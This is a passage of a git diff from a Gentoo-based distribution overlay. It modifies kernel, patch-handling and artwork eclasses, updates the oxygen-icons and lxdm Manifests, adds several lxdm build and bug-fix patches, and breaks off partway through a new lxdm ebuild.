if [[ ! -f "${S}/${i}" ]]; then
cp -v "${DISTDIR}/${i}" "${S}"
ooextused+=( "${i}" )
@@ -121,8 +107,8 @@ libreoffice-l10n-2_src_unpack() {
fi
fi
OO_EXTENSIONS=()
- for i in "${ooextused[@]}"; do
- OO_EXTENSIONS+=( "${i}" )
+ for i in ${ooextused[@]}; do
+ OO_EXTENSIONS+=( ${i} )
done
}
diff --git a/eclass/rogentos-kernel.eclass b/eclass/rogentos-kernel.eclass
index 7945398e..0af155e7 100644
--- a/eclass/rogentos-kernel.eclass
+++ b/eclass/rogentos-kernel.eclass
@@ -194,13 +194,12 @@ fi
## kernel-2 eclass settings
if [ "${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL}" = "1" ]; then
_patch_name="$(get_version_component_range 1-2)-${K_ROGKERNEL_SELF_TARBALL_NAME}-${PVR}.patch.xz"
- SRC_URI="${KERNEL_URI}
- mirror://rogentos/${CATEGORY}/${_patch_name}
- "
+ SRC_URI="${KERNEL_URI}"
UNIPATCH_LIST="${UNIPATCH_LIST} ${DISTDIR}/${_patch_name}"
unset _patch_name
elif [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
- SRC_URI="mirror://rogentos/${CATEGORY}/linux-${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}"
+ #SRC_URI="mirror://rogentos/${CATEGORY}/linux-${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}"
+ SRC_URI="http://bpr.bluepink.ro/~rogentos/distro/${CATEGORY}/linux-${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}"
else
SRC_URI="${KERNEL_URI}"
fi
diff --git a/eclass/sab-patches.eclass b/eclass/sab-patches.eclass
index d4e74cef..8511256e 100644
--- a/eclass/sab-patches.eclass
+++ b/eclass/sab-patches.eclass
@@ -7,11 +7,10 @@
# slawomir.nizio@sabayon.org
# @AUTHOR:
# SÅ‚awomir Nizio <slawomir.nizio@sabayon.org>
-# @BLURB: eclass that makes it easier to apply patches from tarballs
+# @BLURB: eclass that makes it easier to apply patches from multiple packages
# @DESCRIPTION:
-# Adds a patch or patches to SRC_URI and makes it easy to apply them.
-# It is intended to work with tarballs containing patches, and is
-# made to make it easier for Sabayon split ebuilds.
+# Adds a patch or patches to SRC_URI and makes it easy to apply them,
+# with the intention to make the task easier for Sabayon split ebuilds.
# (Plain patches kept in a VCS are very nice, but in the case of split
# ebuilds, duplicating the patches is not effective.)
# The eclass does not define any phase function.
@@ -39,18 +38,26 @@ unset _sab_patch
# @FUNCTION: sab-patches_apply_all
# @DESCRIPTION:
-# Applies patches that can be found under
-# ${WORKDIR}/<name of the patch tarball without ext.>, for each tarball.
-# Order of patching is specified by the 'order' file, which must exist in
-# each tarball.
-# Patch names that are listed in SAB_PATCHES_SKIP are skipped
-# by _sab-patches_apply_from_dir.
+# Applies patches specified using SAB_PATCHES_SRC, skipping patches
+# with names matched in SAB_PATCHES_SKIP.
+# Two possible cases are supported.
+# 1. A patch path which is a tarball (assumed file name: *.tar*).
+# Such a tarball must unpack to ${WORKDIR}/<tarball name without *.tar*>
+# and must contain a file 'order,' which is used to determine order
+# of patches to apply.
+# 2. A patch which is not a tarball, which will be simply applied (if
+# it is not skipped).
sab-patches_apply_all() {
local p
for p in "${SAB_PATCHES_SRC[@]}"; do
- local dir=${p##*/}
- dir=${dir%.tar*}
- _sab-patches_apply_from_dir "${WORKDIR}/${dir}"
+ if [[ ${p} = *.tar* ]]; then
+ local dir=${p##*/}
+ dir=${dir%.tar*}
+ _sab-patches_apply_from_dir "${WORKDIR}/${dir}"
+ else
+ local name=${p##*/}
+ _sab-patches_apply_nonskipped "${DISTDIR}" "${name}"
+ fi
done
}
@@ -68,6 +75,36 @@ sab-patches_apply() {
done
}
+# @FUNCTION: _sab-patches_apply_nonskipped
+# @INTERNAL
+# @DESCRIPTION:
+# Apply selected patches - only those which should not be skipped.
+# Arguments are the directory containing the patch, followed by
+# one or more patch names.
+# This function is not intended to be used by ebuilds because there
+# is a better way: use sab-patches_apply and skip the unwanted ones.
+_sab-patches_apply_nonskipped() {
+ if [[ $# -lt 2 ]]; then
+ die "_sab-patches_apply_nonskipped: missing arguments"
+ fi
+
+ local dir=$1
+ shift
+
+ local patch
+ for patch; do
+ if [[ ${patch} = */* ]]; then
+ die "_sab-patches_apply_nonskipped: '${patch}' contains slashes"
+ fi
+
+ if _sab-patches_is_skipped "${patch}"; then
+ einfo "(skipping ${patch})"
+ else
+ epatch "${dir}/${patch}"
+ fi
+ done
+}
+
# @FUNCTION: _sab-patches_apply_from_dir
# @INTERNAL
# @DESCRIPTION:
@@ -90,11 +127,7 @@ _sab-patches_apply_from_dir() {
die "Problems with the patch '${patch}', see ${order_file}."
fi
- if _sab-patches_is_skipped "${patch}"; then
- einfo "(skipping ${patch})"
- else
- epatch "${patch_path}"
- fi
+ _sab-patches_apply_nonskipped "${dir}" "${patch}"
done < "${order_file}"
[[ $? -ne 0 ]] && die "_sab-patches_apply_from_dir: loop failed"
diff --git a/eclass/sabayon-artwork.eclass b/eclass/sabayon-artwork.eclass
index f0aac62d..59d11cca 100644
--- a/eclass/sabayon-artwork.eclass
+++ b/eclass/sabayon-artwork.eclass
@@ -15,11 +15,6 @@ KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}"
# Default splash theme name to use
GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-sabayon}"
-# @ECLASS-VARIABLE: PLYMOUTH_THEME
-# @DESCRIPTION:
-# Default plymouth theme name to use
-PLYMOUTH_THEME="${PLYMOUTH_THEME:-sabayon}"
-
# @FUNCTION: update_kernel_initramfs_splash
# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file]
# @RETURN: 1, if something went wrong
diff --git a/kde-base/oxygen-icons/Manifest b/kde-base/oxygen-icons/Manifest
index c321614a..3e8bc6f2 100644
--- a/kde-base/oxygen-icons/Manifest
+++ b/kde-base/oxygen-icons/Manifest
@@ -1,5 +1,9 @@
-DIST fdo-icons-sabayon4.tar.gz 1020797 SHA256 0c70090a3db280d7d24533955e5368707aee8bce2d1f771ecea6e56ad90e59eb SHA512 53c7803626b8a27075cbd7b84f32d62ed69f0107b699a3d427d7f5eba5708cf4e6719369e27ffc44ad3d2a48639921a03bcb169dc444d5de7dbbb4d6952d8d63 WHIRLPOOL de1e0bb55a55104b56362b9fd30a3dda0e78688bb95fefa6fca94a2d5aa737abdc7f4abefe4846ccee83c1153a4f7bbfa985d610939fde26514e4ad74c313aea
-DIST oxygen-icons-4.12.1.repacked.tar.xz 29481308 SHA256 1928b0d1c86bac6b78d5ffa7fc16bcafcaab163d30b0f1cfb8c16d9a185fc937 SHA512 3ecc314e8603d468799f23e5603b4ee61c66c74bb7d70d7d740e0d594c42f212ead808449d0d523be73a3a933c60806ea8a9d12907053692d66c7d2d83c68b9e WHIRLPOOL 839bf80ab0d680e82922b9de99a91ff98eaad74121d1e7366742b60bc716844a5e4ce1320493d46a70da6dcdc65125a57ce655059f6c6302d98ef776eb6be56d
-DIST oxygen-icons-4.12.1.tar.xz 229828288 SHA256 c34d02826044f17ce86b203765a9e3588bf969ca95faf492220f5d5d4b43d900 SHA512 9d8c4282d81597b2ec1e2dae45bcbf755c297867eb26dfb71086e48edbad9749558e653f9b34028600d4d5c956b62b4bbda70eb8fb648124c10b722c1115fb7c WHIRLPOOL c301955c4eb8c1399a9828ec3db534d25574060b34e07b6ce886c02c786577dd7165c6cda22a680a2c3b1f1635b1268840016e577b63ed54bc0f171e2aec818f
-DIST oxygen-icons-4.12.2.repacked.tar.xz 29342236 SHA256 27e25c91aab13651ed8d4628859ff0e54f42c7660acc4ecd682627c1e6179870 SHA512 6701ba9a8666d416647acce87d3aa741da0e301f98c461083bc321dbdf0366ab2f94e6bea7c730449e9eefdc0f2bb68f44024c8261eeff5ab54cdcaa3ab4fff0 WHIRLPOOL 6764057b075145eda495452f2a933385a74261dfe4c02a167c31e7a682540f6d40396c47fbc56f3d725aba53ba8b28bf71e8335a118d68ef336004f605bc4a85
-DIST oxygen-icons-4.12.2.tar.xz 229825532 SHA256 798c48a7b9d6eff3669f1d47c66171e60cfa14be0a6678727cd23420732661ec SHA512 3f35cf815763f4152c53c6c13fb8d2471e9e118fe8d579f495c11868c04a482ba968246cce91ecfc6a9ddcef8f6c1e46cd04a9d88f9036e13cf0c624b4d6a02f WHIRLPOOL b450a6a812fc71d44ecd4e1d847375fd5ed511f5bcf4faebf900b0549128badaabad524bd003583719a3f93855f18deb7b5f6a9f1f60fd6eebb256f88fb41b8e
+DIST fdo-icons-rogentos1.tar.gz 507041 SHA256 5ff12b6861abd002e95777a43fb71afb56024ba4684e0a212a990ad8aa1a428d SHA512 3b95d5116984ef802d4ad12cba856096f5f481216a42fe09334929d338179a7d55a15754aa8e20dca08c6fdb19ad096e96d24b9e7dd5198b0d93eb379f3e3d3d WHIRLPOOL a66b53dcb3888c5896da05a5abaf8f0295fd8b28a4ce23d0a972ea5705dad89d2c14d48eddafe5b7ea291934ba217f8fee1b0f1d4ed7f6b77579cb96dfddc98b
+DIST oxygen-icons-4.9.0.repacked.tar.xz 29205792 SHA256 ed2b1045fe772bef2682c7cbdb6f9053e93f5e94207fb9e1dc3e55accedd3120 SHA512 7feb0f705978dd1714d370ef8e04c30770305c7a76fe8dedefec4d4bbd50b71ffa9af97059f90fc9e8786e199f61e85c0cac64cad3bd7603fe8ac2144c59b4cf WHIRLPOOL d291956233fdeae924ecf9fd5d6aeea102ebe5d01ebc800548f514c565e8134f055a4649a0eaa66b13cea11b43860c5693dfe3c8447596cb4a5714aa5317888a
+DIST oxygen-icons-4.9.0.tar.xz 278552072 SHA256 0d6fc5be39160fc5a0421f9bf6fecf736e054196945d437777832e423bb28be8 SHA512 2ff4a74e664f7b4e26da50d324f61cb989a3d248281e8f37afa06b633820f4fe39e7c799f60075a039a8aa25ce74e422bc68ad401e09f52ba54047d6c88c17e3 WHIRLPOOL 56ebb7522f278c21355a9b4e6a637fc61fb65425874fb91971124a15a24f6bd57094bde2090d0b83e33e88185ce4dbcc6ebd6944ffe6139a7aee397b375337cd
+EBUILD oxygen-icons-4.10.4.ebuild 1107 SHA256 73384d84bdcfd8ce546480b89aea256c8ef821d88a41a7612e833d6d973e8d40 SHA512 175ace4efd32466957c38603230d72e8d1f11fe3d5810e3060be31ead7d7e32ca22dc7372ddcbc6ac2c1dc620b28c00653280c7510e76a0f10ca641ddb47196c WHIRLPOOL 7d56841b069566468ac99ea23faca2d2b95631d5db083e28498eef25f260d7f3252fe9b44d79010e72403f682f2b6631ae41290128c124f2b2f0305e145cbb35
+EBUILD oxygen-icons-4.9.0.ebuild 1069 SHA256 4531d5fbc37de0f6908fb904cba088f419b186b945030e522dabc335dfc8d062 SHA512 aff38582a914321f2c7b0f05e3a95b8b0dd8cf57e973049bf18e28d81bbec1053bf9bcf428adf23a761fd8f1d5038ccdb739d2f942dd1bf10b98b1891b816e45 WHIRLPOOL d94270b98461248db752a54373c86dbfe767bcf1a98c4ea6092d28ac25a7ac2bfae0c3e4da9e716efa93abd8c96d5f72c25bd36e782a31e03b328f6e7ea2a599
+EBUILD oxygen-icons-4.9.1.ebuild 1069 SHA256 4531d5fbc37de0f6908fb904cba088f419b186b945030e522dabc335dfc8d062 SHA512 aff38582a914321f2c7b0f05e3a95b8b0dd8cf57e973049bf18e28d81bbec1053bf9bcf428adf23a761fd8f1d5038ccdb739d2f942dd1bf10b98b1891b816e45 WHIRLPOOL d94270b98461248db752a54373c86dbfe767bcf1a98c4ea6092d28ac25a7ac2bfae0c3e4da9e716efa93abd8c96d5f72c25bd36e782a31e03b328f6e7ea2a599
+EBUILD oxygen-icons-4.9.2.ebuild 1163 SHA256 400393a238664d8eb3805f289f3412ec87df470a8c1372891d10452031f80618 SHA512 e3ea7bf8e931c4e99595df0eafb4407c9089e128d63c26bf5c7265224d64adffa85b4cb60f2f88dce6e6b0bc131cdb052e1fbba773cb08df33260bcf0cc42d6a WHIRLPOOL 12e174681258193500804bbda3833763b2d1eb49163f608f55d9f09dcc1ca38d86180a456e789432cd0db090afe01e21613aa32c306c309ab75e8c229cc6c064
+EBUILD oxygen-icons-4.9.3.ebuild 1107 SHA256 73384d84bdcfd8ce546480b89aea256c8ef821d88a41a7612e833d6d973e8d40 SHA512 175ace4efd32466957c38603230d72e8d1f11fe3d5810e3060be31ead7d7e32ca22dc7372ddcbc6ac2c1dc620b28c00653280c7510e76a0f10ca641ddb47196c WHIRLPOOL 7d56841b069566468ac99ea23faca2d2b95631d5db083e28498eef25f260d7f3252fe9b44d79010e72403f682f2b6631ae41290128c124f2b2f0305e145cbb35
+MISC metadata.xml 157 SHA256 01f6fa4357ce08e8b0f7900a51fa78c7f060fefc7c7da98acaec1e283dd59892 SHA512 657d6b0a31ceb7ac10bedfd5cbd634d4ff47938bd2f321203f0233e53686f7e0fd460e81f82793804895c7e97cfa472c1ca44b93314574262ee8cc5745a3efd0 WHIRLPOOL 785331909f1834cdd5d797ad484ea0e35c3e44c79a8a7517a6fb5de926acd181abd57910c8d960fb2e11ea38ddea336bca309af16fcc2df68fe4b602bca120b3
diff --git a/lxde-base/lxdm/Manifest b/lxde-base/lxdm/Manifest
index 5e013e46..a9f2f860 100644
--- a/lxde-base/lxdm/Manifest
+++ b/lxde-base/lxdm/Manifest
@@ -1,18 +1 @@
-AUX lxdm-0.4.1-configure-add-pam.patch 1410 SHA256 22d9a569755acd1ffadc23939b6b2d0845f0956efafda31b3a91dbd5580a5815 SHA512 4a5f2f4a282739e74e63d583036e0cc84f3613983d3fac2795827d9065ade3e2cfc353472345be1948444ac4c2f037f5bc97c62a79a9b170e8fd6e0fc23ab6dd WHIRLPOOL d8ac31e16fce57b037cef36f88461ccb1e3669e5cef947aea2ed9ff32604aaee1ec959010e9a0e4099eebc86f34986cb774d2e6ddcc571afdc6b1104825dfb6d
-AUX lxdm-0.4.1-fix-event-check-bug.patch 700 SHA256 dfc4248e4cbb2f84c7f65aba3d8105c5b49fde23c7a7c629a9104517a3a8291f SHA512 77845eb6a7dd9b59bac96bdf25de90daed13d4b45a103d83d983ea5f8e7747d1cfa65574d1849444ae73439b748c5d78b719fc70a0d592870d123d04f100d750 WHIRLPOOL 5e37fb882b5b2753ad9516c9ca43a4eea426e2344981868dc3d6fabb60424d52e70924493978de7e6a5f8ac4d18d8a128f5c41acc603076f16ecb88b7ec52243
-AUX lxdm-0.4.1-fix-pam-100-cpu.patch 444 SHA256 cf5aa1cd633c510be44cbb2d9dfa09fe6541c83c77297d000c010d5f0348ffde SHA512 2aef14d7dc9e2f10fda1d22b5837225f61af9a8fb46267ad98eb65149e72c165c6588c4816dc8c20ec90f49a2db5289b519f9b1c0b4b5b9ec430bea73fbac9a6 WHIRLPOOL 6039273a31292cc6903db4a84d89a2dc80fd0d776a9dc6f8dd438cf5d2d574e84b877a397e510267d4d7a690a0ed3520232c9225d8b590fc4b7e98c323d5e543
-AUX lxdm-0.4.1-fix-session-args.patch 1109 SHA256 192583f98adf2d13fd24e67ea026f3f4fbe1e4e04afc40e73b26efa51705c936 SHA512 01f9efddc52f803bba2a2a31b01f8316dbe0abcf39faec23ca6688e0eee81305046a0df91591e45040fc6f784514c0082775c53252f38b8483842062caa5db3b WHIRLPOOL 157c1c9e9fad4d6ae5b4d28019e4a7bbc00354de6486383b0d331aef8f83abe70bb39e01a29e089149e5cf1d5453a034f0991db2872dd681a2b5a8ce3e2840bc
-AUX lxdm-0.4.1-git-fix-null-pointer-deref.patch 1560 SHA256 a33e3226c463bc445d7d27b11e34de8b09c7c1fdf44be8628d54334fd41b7ea3 SHA512 204124b2558280183e71799c2e006c9efb97b17bc5ef5f9cbf68afd0a4da2568d6e3d7a8d7dc3e12283b8d2febea541793fd72861ca7d692f1595be209d47f62 WHIRLPOOL 9f253d5b674c4a156e9fc99389c62c6271ca674beb109293992ba040520751310d229b270834a172c98275b2a5db6090679c41c663003a970c2bc60ddf631545
-AUX lxdm-0.4.1-missing-pam-defines.patch 583 SHA256 b9aa62fc73ce8f52f354388bcec0a03c228b40ba1a86e2aba1071501ecc1a5d8 SHA512 e7ebb98cae18874152ed5ae528db452428db5f0311cf92eeec93dc9bffaefb101fb587466e9f7c015199cf25c1fbc45ac1c20e3f41d7dd087622ac2e53b812e9 WHIRLPOOL ea2e3b6db573642ea79573e5a473a1ac00d6216fa1a848bb0b10b690a0f39a643fa43ff9f3f58467f6a4ad5083df8ee553f6315ed290e6d76d306ad023889707
-AUX lxdm-0.4.1-optional-consolekit.patch 1206 SHA256 7563a5cd8d121e6915c9e1fdfeb6bd94308f005a12e0a141b6249a99d711bb5a SHA512 74a4ab1460fcbbb0fb7632e8bd27afa3b1f737e41131816ad739c9e41678cd7abafa6811c0a72ce9eb3aeddb661e771d3707476df8940a5e670636764881fcd2 WHIRLPOOL 9be18b671bd5a27620462922a240dea1e9ce89820a0478930f81450a742b587dc7ed34b74c9c2cc724c4fc9eb872eaacfc534b6ec33146d9fa31ef399a1279c7
-AUX lxdm-0.4.1-pam-use-system-local-login.patch 513 SHA256 4200ca07cae26479d449de2cc0e0f4acf83b621f7dfcf314e8f91dd0e7a1e02d SHA512 82c21faf6fdc07bae6ea9af7b186d3ce2cae84879e1f6e1675d232d5d26883ba0f0eae66b8fbfa9da67fede2b017c867195c23ff68d80818d44452f5c06d34cd WHIRLPOOL c74c57560e557ff4d8a4719b485975b054397a8dc88e85a68cc5acdead318d611f1a597c58a3f2097609967c28fed506a3f82a0c88656f6a2bc1088853ea90fb
-AUX lxdm-0.4.1-pam_console-disable.patch 344 SHA256 51d1a0f0b5749e451e313df3bd3d08b3f5181f00eb01993973393c1b4dcd8ad2 SHA512 15ebae762ca266da2986c6dc29b866068e7120457da253cc0513fb285c386869f35c074c2cd1cc1ff05045f533e565400cf39ae2f484eafb29fb2faeb2d260e4 WHIRLPOOL 42255d3a834333a0c830b1a8a045e526dd3ef93271a943eea542932cf04533de7e43ba3eea459c0c758e4851f3736b3a50f158c49a5a770fafce6dfefee173f5
-AUX lxdm-0.4.1-rogentos-1-theme.patch 708 SHA256 d78293c51bf67eabb33c703d7777900d06f954cf17a986f409dd83ba7f1b91e8 SHA512 614cf84a0cfdc5efa324bcb7c0596deca32ec8ebe1d3ec9bf82a6a6b5b92b5e82a75eeda1aef37f21c71ab094964a3fc275af62b7794f7f3b48de26efe08323a WHIRLPOOL 222e089c889abfae08fd2d7c5a0ccbbba79b0b66594d010b04d81aeee30036c4d0cca86d30567e71bf15256e8bd62097c4a2ea5514ce27fad2e81bc32a6b95e7
-AUX lxdm-0.4.1-rogentos-conf.patch 294 SHA256 9bfcb7d0eaada8485eed6d422943aea8aa8d3ea163203ac632ce7daa0041e095 SHA512 04395123bbdb536965376c9b5a1ade2d385d7b9aeaee584355fe770d9057970e10c4ced54df6a434b145403561741177fca53d0e40da923214ab4bc20043384a WHIRLPOOL cffae38828bcb88da2d66cd2a55b81ca4143e1088a6fb66ae0ad348922a06bc78c7def4e444fea19c2bbb63f27a60d60ec84cc7682de197ca96a0b249d7ab278
-AUX lxdm.service 212 SHA256 fbd01d0ecfa46c6451b63fb6d059e4ae602d0abbcf628ed7da5e12b2f6bbd45e SHA512 e73f7a956667e55a220db7745730f4cdaeb4f1912259d05eaf2208a32447b72d7f227cad78ec4dc765deedd6dc4b52b706825f0a71cd86d8b011aae64877c113 WHIRLPOOL f379741ce3bee813dd438727369635ecb7000f10f9cbf864bdb7f7f22de2ff31f9f55bcb32ec03398204affb0c17e52238bc6b9f0500bc12796a96ba48a93859
-AUX xinitrc 1549 SHA256 59b2f69c3a5eba060b2eaae43fc871d9b014419e3b51c84af95cee10f429880c SHA512 a3824b572eb661a8c0b823beafeef44112aa2d83d89a59090ea5c669c98b177a6cf8ec5b9ae69a000bbc0b6613a0c9fd750a96cfed0898b434705b3f811d4753 WHIRLPOOL fcc5968454cc889d412f26be1c41f3fc7c163cfb39b71a0dbed12823095f9472ce2fc9f4bd5dc9135f4434329923d88958526065fac74a95a9f4f566b1e36eee
DIST lxdm-0.4.1.tar.gz 296714 SHA256 9e0d0a5672fcf31a18de8178ce73eab1723d6ae7097dfe41e9fe2c46e180cf08 SHA512 8ed4a955a910def4db66958d1cb24976db178b8763199a024b6c2119894745e3646566c42d01472dffbbcbb7fd21784b01e74dc88038e01caebaa3b6d720ff27 WHIRLPOOL 1bbb55bf955f46aaac54ca3372c09308baa496297e56026456e464217f115d6b26994e8be6b6b228b663bb2e14cf9d5ace6930f75024f6426825dd4fefc5349f
-EBUILD lxdm-0.4.1-r6.ebuild 1859 SHA256 92fe6c6d9b1ac26b7e85e21b98f88add5b55bdfe99d43366e9930790866c2821 SHA512 ab3df64a8f7e1a728b52c99394b9e1ac5db4c93df029a7cda41ab6768b73fdcf746e2c4688ef86a638a6ce435fa97c1a418c3c8d0655eb339ccc6383c626f16f WHIRLPOOL 9640868392cbb935cf98228fbf5141be3f492bf147777004f843dbbd90e06a27eb44a79fb5746b37aca93c0d478c9e9c86569d7de9bc72c19435232871c48266
-EBUILD lxdm-0.4.1-r7.ebuild 2160 SHA256 7ce9242f57210450540a8cd9197257285c1b939e7dbffc0a2a5a4ac1d79e9d4a SHA512 19b8f9908ff2acc7dce755c89dbcd893e376e082c80b41d286a7693044b17b36c4f326116b2f8e92b081b5daf35670419386abc433793a33affb97af4a2f3a16 WHIRLPOOL 8e081f25e9c8af0de111914c7eb0a0c9317464ad44184c8a94114e424f980f385cea611b01439b3ff4f09bec547369b8c76cfec535fe35b26a9f6d8e10f0586c
-EBUILD lxdm-0.4.1-r8.ebuild 2299 SHA256 2da589b3a21ff5a2d965ca5767fbd2164638d20c9d5ce14a00a2d689192716e8 SHA512 eb88a293dcecb27946e501afc8fbafcdf186ce83c7fa2adc823664bea8ade54b0bd59d713b3840dd84a0996c967ee9b8f61e6cb8495300467db26748a6573e29 WHIRLPOOL 143e059dee411a44a3dece1c0a4ade0b1846632cd02c42d6e8623f708ac0d5c1858518e58e7d8e09c1efb1836e508d2760418ad9c5b3ef4adcd40922a01f89a9
-MISC metadata.xml 158 SHA256 9a4e79f77bc3e825c79c2d57e658c8460f7f7535a25a7beacbe0c94f2378ba57 SHA512 c6d71f05dbe4c805971c6f9798798a8d1da6155b3fdb2ed19c8a6df33b82467a878127640612304bc29c9f7f5209e604cfdab49d1084ff3dab1d15a8129eb7bc WHIRLPOOL 04c34cac223f8b7d6fd0940386fdb553545be42018e7e4a4d315da3562ba5006b9d4a9dc7625ec80b4bfa4175cb2ef1f5482b540c7d29b27b3884a4cdd81ed9b
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-event-check.patch b/lxde-base/lxdm/files/lxdm-0.4.1-event-check.patch
new file mode 100644
index 00000000..4c2d5b35
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-event-check.patch
@@ -0,0 +1,25 @@
+From d4e41ecb36a1ea29482b75674d804bb0f05540b2 Mon Sep 17 00:00:00 2001
+From: dgod <dgod.osa@gmail.com>
+Date: Sun, 25 Dec 2011 15:23:19 +0800
+Subject: [PATCH 1/1] fix event check bug caused cpu 100%
+
+---
+ src/lxcom.c | 2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/src/lxcom.c b/src/lxcom.c
+index 02763eb..18ee12e 100644
+--- a/src/lxcom.c
++++ b/src/lxcom.c
+@@ -89,7 +89,7 @@ static gboolean lxcom_prepare (GSource *source,gint *timeout)
+
+ static gboolean lxcom_check(GSource *source)
+ {
+- return TRUE;
++ return (((LXComSource*)source)->poll.revents&G_IO_IN)?TRUE:FALSE;
+ }
+
+ static gboolean lxcom_dispatch (GSource *source,GSourceFunc callback,gpointer user_data)
+--
+1.7.4.1
+
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-fix-optional-pam.patch b/lxde-base/lxdm/files/lxdm-0.4.1-fix-optional-pam.patch
new file mode 100644
index 00000000..0aecc085
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-fix-optional-pam.patch
@@ -0,0 +1,31 @@
+diff --git a/Makefile.am b/Makefile.am
+index bfac56b..40710fc 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -2,10 +2,13 @@ NULL =
+ SUBDIRS= \
+ src \
+ po \
+- pam \
+ data \
+ $(NULL)
+
++if HAVE_PAM
++SUBDIRS += pam
++endif
++
+ rpm: dist @PACKAGE_NAME@.spec
+ rpmbuild -bb \
+ --define "_sourcedir `pwd`" \
+diff --git a/configure.ac b/configure.ac
+index ae5177f..aaa1bad 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -27,6 +27,7 @@ if test "x$USE_PAM" != "xno" ; then
+ AC_MSG_ERROR(["PAM support requested, but pam_open_session not found."])
+ fi])
+ fi
++AM_CONDITIONAL(HAVE_PAM, [test -n "$USE_PAM" -a "x$USE_PAM" != xno ])
+
+ # Checks for header files.
+ AC_PATH_X
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch b/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch
index 021f3212..621a9d62 100644
--- a/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch
@@ -1,5 +1,13 @@
---- a/configure.ac
-+++ b/configure.ac
+X-Gentoo-Bugzilla: https://bugs.gentoo.org/show_bug.cgi?id=443666
+X-Git-Url: http://lxde.git.sourceforge.net/git/gitweb.cgi?p=lxde/lxdm;a=patch;h=902438eb83b4ae97d774e4e5f38b46f2d826df2f
+X-Git-Url: http://lxde.git.sourceforge.net/git/gitweb.cgi?p=lxde/lxdm;a=patch;h=371b018474217bdff1d5108b384fbf0f45aa873d
+
+Signed-off-by: Markos Chandras <hwoarang@gentoo.org>
+
+Index: lxdm-0.4.1/configure.ac
+===================================================================
+--- lxdm-0.4.1.orig/configure.ac
++++ lxdm-0.4.1/configure.ac
@@ -28,8 +28,6 @@ if test "x$USE_PAM" != "xno" ; then
fi])
fi
@@ -9,30 +17,27 @@
# Checks for header files.
AC_PATH_X
AC_CHECK_HEADERS([shadow.h stdlib.h string.h unistd.h utmpx.h])
-@@ -89,11 +87,21 @@ PKG_CHECK_MODULES(GTK, [$pkg_modules])
+@@ -89,11 +87,22 @@ PKG_CHECK_MODULES(GTK, [$pkg_modules])
AC_SUBST(GTK_CFLAGS)
AC_SUBST(GTK_LIBS)
-PKG_CHECK_MODULES(CONSOLEKIT, "ck-connector",[
-- AC_SUBST(CONSOLEKIT_CFLAGS)
-- AC_SUBST(CONSOLEKIT_LIBS)],[
-- echo "ConsoleKit devel package not found"
-- ])
++
+AC_ARG_ENABLE(consolekit,
-+AC_HELP_STRING([--enable-consolekit], [enable ConsoleKit support]),
-+[case "${enableval}" in
-+ yes) enable_ck=yes ;;
-+ no) enable_ck=no ;;
-+ *) AC_MSG_ERROR([bad value "${enableval}" for --enable-consolekit, use "yes" (default) or "no".]) ;;
-+esac],[])
-+if test "x$enable_ck" = "xyes" ; then
-+ AC_CHECK_LIB([ck-connector],[ck_connector_open_session])
-+ PKG_CHECK_MODULES(CONSOLEKIT, "ck-connector",[
-+ AC_SUBST(CONSOLEKIT_CFLAGS)
-+ AC_SUBST(CONSOLEKIT_LIBS)],[
-+ echo "ConsoleKit devel package not found"
-+ ])
++ AC_HELP_STRING([--disable-consolekit],[disable ConsoleKit support]),
++ [enable_consolekit=$enableval],
++ [enable_consolekit=yes]
++)
++
++if test "x$enable_consolekit" = "xyes" ; then
++ AC_CHECK_LIB([ck-connector],[ck_connector_open_session])
++ PKG_CHECK_MODULES(CONSOLEKIT, "ck-connector",[
+ AC_SUBST(CONSOLEKIT_CFLAGS)
+ AC_SUBST(CONSOLEKIT_LIBS)],[
+ echo "ConsoleKit devel package not found"
+ ])
+fi
++
AC_ARG_ENABLE(password,
AC_HELP_STRING([--enable-password],[enable to load autologin password store at config file]),
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-selinux-support.patch b/lxde-base/lxdm/files/lxdm-0.4.1-selinux-support.patch
new file mode 100644
index 00000000..c7df391b
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-selinux-support.patch
@@ -0,0 +1,7 @@
+--- a/pam/lxdm 2011-12-05 17:30:39.749064359 -0600
++++ b/pam/lxdm 2011-12-05 17:31:19.355569211 -0600
+@@ -7,3 +7,4 @@
+ session required pam_loginuid.so
+ #session optional pam_console.so
+ session optional pam_gnome_keyring.so auto_start
++session optional pam_selinux.so
diff --git a/lxde-base/lxdm/lxdm-0.4.1-r9.ebuild b/lxde-base/lxdm/lxdm-0.4.1-r9.ebuild
new file mode 100644
index 00000000..b81dd915
--- /dev/null
+++ b/lxde-base/lxdm/lxdm-0.4.1-r9.ebuild
@@ -0,0 +1,98 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+WANT_AUTOMAKE="1.12" #493996
+inherit eutils autotools systemd
+
+DESCRIPTION="LXDE Display Manager"
+HOMEPAGE="http://lxde.org"
+SRC_URI="mirror://sourceforge/lxde/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+IUSE="consolekit debug gtk3 nls pam"
+
+RDEPEND="consolekit? ( sys-auth/consolekit )
+ x11-libs/libxcb
+ >=x11-themes/kogaion-artwork-lxde-1
+ gtk3? ( x11-libs/gtk+:3 )
+ !gtk3? ( x11-libs/gtk+:2 )
